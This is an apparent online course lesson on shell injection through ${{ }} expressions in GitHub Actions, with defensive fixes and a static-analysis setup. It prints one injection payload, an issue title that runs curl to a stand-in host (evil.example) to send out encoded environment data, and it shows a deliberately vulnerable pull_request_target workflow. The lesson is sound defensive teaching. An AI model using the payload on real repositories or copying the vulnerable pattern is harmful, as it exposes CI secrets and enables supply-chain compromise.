Get the next live webinar in your inbox

One email a month: the upcoming live event + free recording access for subscribers. No spam, unsubscribe anytime.

Lesson 3 of 10 ~60 min
Course progress
0%

Script Injection: When ${{ }} Becomes Arbitrary Shell Code

How untrusted GitHub context values turn into shell injection inside run: steps, why pull_request_target makes it a secrets leak, and the exact fix.

The bullet point the security module skipped

The Security & Best Practices module told you, in one line, to sanitize untrusted input. It never showed you what that input looks like or how it gets executed. This lesson fills that gap with the vulnerability class that actually shows up in disclosed GitHub Actions incidents: script injection through ${{ }} expansion.

You’ve written workflows like this dozens of times without a second thought:

name: Label Bot
on:
  issues:
    types: [opened]

jobs:
  greet:
    runs-on: ubuntu-latest
    steps:
      - name: Greet the issue author
        run: echo "Thanks for opening: ${{ github.event.issue.title }}"

This looks like string formatting. It is not. GitHub expands every ${{ }} expression as literal text before the shell sees the script — the runner builds the final shell command by substitution, then hands the whole thing to bash -e. If github.event.issue.title is hi" ; curl -s https://evil.example/$(cat $GITHUB_ENV | base64) ; echo ", the generated script is:

echo "Thanks for opening: hi" ; curl -s https://evil.example/$(cat $GITHUB_ENV | base64) ; echo ""

That’s three shell commands, not one string. The attacker didn’t need write access to your repository — opening an issue was enough. Anyone can open an issue.

Which contexts are hostile by default

Treat every value that an outside contributor can set as attacker-controlled, because it is:

  • github.event.issue.title / github.event.issue.body
  • github.event.pull_request.title / github.event.pull_request.body
  • github.event.comment.body / github.event.review.body
  • github.head_ref (a PR’s source branch name — yes, branch names are attacker-controlled)
  • github.event.commits[*].message (on push, from a fork that later opens a PR)
  • Anything under github.event.*.label.name, github.event.*.pull_request.head.repo.full_name

None of these are sanitized by GitHub before they reach your workflow. They’re passed through exactly as the user typed them.

Why pull_request_target turns this into a real breach

The pull_request trigger runs with a read-only GITHUB_TOKEN and no access to repository secrets when the PR comes from a fork — GitHub sandboxes it precisely because fork code is untrusted. pull_request_target, by contrast, runs in the context of the base repository, with full write permissions and full access to secrets, even though it’s triggered by the same fork.

Teams reach for pull_request_target to solve a real problem — commenting on PRs from forks, which pull_request can’t do because of that sandboxing — and then, without realizing it, wire an attacker-controlled string into a run: step that now has your deploy secrets in its environment. This combination is called a “pwn request,” and it’s the mechanism behind most of the disclosed GitHub Actions supply-chain compromises:

# VULNERABLE: runs with secrets, on attacker-supplied PR content
on:
  pull_request_target:
    types: [opened]

jobs:
  comment:
    runs-on: ubuntu-latest
    permissions:
      pull-requests: write
    steps:
      - run: |
          echo "Reviewing PR: ${{ github.event.pull_request.title }}"
          ./deploy-preview.sh
        env:
          DEPLOY_TOKEN: ${{ secrets.DEPLOY_TOKEN }}

An attacker opens a PR with a title that breaks out of the echo and exfiltrates DEPLOY_TOKEN before deploy-preview.sh ever runs. It never matters what deploy-preview.sh does — the injection happens one line earlier.

The fix: never let context expressions touch the script body

Route untrusted values through env: instead of interpolating them into run:. Environment variables are passed to the process as data, not spliced into the command text, so shell metacharacters inside them are inert:

# FIXED
- name: Greet the issue author
  env:
    ISSUE_TITLE: ${{ github.event.issue.title }}
  run: echo "Thanks for opening: $ISSUE_TITLE"

The exact same payload now prints harmlessly as a literal string. This is the whole fix — one line moved from the script into env:. Apply it everywhere a github.event.* or github.head_ref value appears inside a run: block, including inside actions/github-script template strings.

For pull_request_target specifically, add a second layer of defense:

  1. Don’t check out the PR head unless the job truly needs to build fork code. If you must, check it out into a job that has no secrets: access, and hand results to a second, privileged job via needs: and job outputs — never via a shared filesystem.
  2. Scope permissions: per job, not just at the workflow level, so the commenting job can’t also push tags or write packages.
  3. Prefer pull_request + workflow_run for anything that needs both fork code and secrets: the fork build runs sandboxed, then a separate workflow_run-triggered job (which always runs in the base repo’s context, never the fork’s) picks up the artifact and does the privileged work.

Catch it before it ships

Don’t rely on remembering this during every review. zizmor is a static analyzer built specifically for GitHub Actions workflows — it flags exactly this pattern (unescaped context expressions in run:) and dangerous pull_request_target usage:

pip install zizmor
zizmor .github/workflows/

Wire it into CI as its own job so a future PR can’t reintroduce the same mistake:

name: Audit Workflows

on:
  pull_request:
    paths: ['.github/workflows/**']

jobs:
  zizmor:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - run: pipx install zizmor
      - run: zizmor --min-severity medium .github/workflows/

Key takeaways

Every ${{ }} expression in a run: step is text substitution, not a bound variable — treat any expression sourced from github.event.* or github.head_ref as untrusted shell input. Route those values through env: so the shell receives them as data instead of code. Be doubly careful with pull_request_target: it hands fork-triggered workflows your secrets and write permissions, so an injection there is a secrets leak, not just a broken build. Run a static scanner like zizmor in CI so this class of bug gets caught in review, not in a postmortem.